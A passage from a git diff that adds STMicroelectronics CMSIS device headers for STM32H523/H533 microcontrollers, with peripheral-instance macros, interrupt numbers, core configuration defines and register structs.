((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : supporting ETR source selection ***************/ +#define IS_TIM_ETRSEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)|| \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM12_NS) || ((__INSTANCE__) == TIM12_S)|| \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************************** I2S Instances *******************************/ +#define IS_I2S_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1) || \ + ((INSTANCE) == SPI2) || \ + ((INSTANCE) == SPI3)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** CEC Instance *****************************************/ +#define IS_CEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CEC_NS) || ((INSTANCE) == CEC_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/** @} */ /* End of group STM32H5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32H523xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32H523xx_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h533xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h533xx.h new file mode 100644 index 000000000..1e982b63d --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h533xx.h @@ -0,0 +1,20774 @@ +/** + ****************************************************************************** + * @file stm32h533xx.h + * @author MCD Application Team + * @brief CMSIS STM32H533xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32H533xx_H +#define STM32H533xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32H533xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32H533xx Specific Interrupt Numbers ====================================== */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_AVD_IRQn = 1, /*!< PVD/AVD through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + GPDMA1_Channel0_IRQn = 27, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 28, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 29, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 30, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 31, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 32, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 33, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 34, /*!< GPDMA1 Channel 7 global interrupt */ + IWDG_IRQn = 35, /*!< IWDG global interrupt */ + SAES_IRQn = 36, /*!< Secure AES global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + I2C1_EV_IRQn = 51, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 52, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 53, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 54, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 55, /*!< SPI1 global interrupt */ + SPI2_IRQn = 56, /*!< SPI2 global interrupt */ + SPI3_IRQn = 57, /*!< SPI3 global interrupt */ + USART1_IRQn = 58, /*!< USART1 global interrupt */ + USART2_IRQn = 59, /*!< USART2 global interrupt */ + USART3_IRQn = 60, /*!< USART3 global interrupt */ + UART4_IRQn = 61, /*!< UART4 global interrupt */ + UART5_IRQn = 62, /*!< UART5 global interrupt */ + LPUART1_IRQn = 63, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 64, /*!< LPTIM1 global interrupt */ + TIM8_BRK_IRQn = 65, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 66, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 67, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 68, /*!< TIM8 Capture Compare interrupt */ + ADC2_IRQn = 69, /*!< ADC2 global interrupt */ + LPTIM2_IRQn = 70, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 71, /*!< TIM15 global interrupt */ + USB_DRD_FS_IRQn = 74, /*!< USB FS global interrupt */ + CRS_IRQn = 75, /*!< CRS global interrupt */ + UCPD1_IRQn = 76, /*!< UCPD1 global interrupt */ + FMC_IRQn = 77, /*!< FMC global interrupt */ + OCTOSPI1_IRQn = 78, /*!< OctoSPI1 global interrupt */ + SDMMC1_IRQn = 79, /*!< SDMMC1 global interrupt */ + I2C3_EV_IRQn = 80, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 81, /*!< I2C3 error interrupt */ + SPI4_IRQn = 82, /*!< SPI4 global interrupt */ + USART6_IRQn = 85, /*!< USART6 global interrupt */ + GPDMA2_Channel0_IRQn = 90, /*!< GPDMA2 Channel 0 global interrupt */ + GPDMA2_Channel1_IRQn = 91, /*!< GPDMA2 Channel 1 global interrupt */ + GPDMA2_Channel2_IRQn = 92, /*!< GPDMA2 Channel 2 global interrupt */ + GPDMA2_Channel3_IRQn = 93, /*!< GPDMA2 Channel 3 global interrupt */ + GPDMA2_Channel4_IRQn = 94, /*!< GPDMA2 Channel 4 global interrupt */ + GPDMA2_Channel5_IRQn = 95, /*!< GPDMA2 Channel 5 global interrupt */ + GPDMA2_Channel6_IRQn = 96, /*!< GPDMA2 Channel 6 global interrupt */ + GPDMA2_Channel7_IRQn = 97, /*!< GPDMA2 Channel 7 global interrupt */ + FPU_IRQn = 103, /*!< FPU global interrupt */ + ICACHE_IRQn = 104, /*!< Instruction cache global interrupt */ + DCACHE1_IRQn = 105, /*!< Data cache global interrupt */ + DCMI_PSSI_IRQn = 108, /*!< DCMI/PSSI global interrupt */ + FDCAN2_IT0_IRQn = 109, /*!< FDCAN2 interrupt 0 */ + FDCAN2_IT1_IRQn = 110, /*!< FDCAN2 interrupt 1 */ + DTS_IRQn = 113, /*!< DTS global interrupt */ + RNG_IRQn = 114, /*!< RNG global interrupt */ + OTFDEC1_IRQn = 115, /*!< OTFDEC1 global interrupt */ + AES_IRQn = 116, /*!< AES global interrupt */ + HASH_IRQn = 117, /*!< HASH global interrupt */ + PKA_IRQn = 118, /*!< PKA global interrupt */ + CEC_IRQn = 119, /*!< CEC-HDMI global interrupt */ + TIM12_IRQn = 120, /*!< TIM12 global interrupt */ + I3C1_EV_IRQn = 123, /*!< I3C1 event interrupt */ + I3C1_ER_IRQn = 124, /*!< I3C1 error interrupt */ + I3C2_EV_IRQn = 131, /*!< I3C2 Event interrupt */ + I3C2_ER_IRQn = 132, /*!< I3C2 Error interrupt */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< 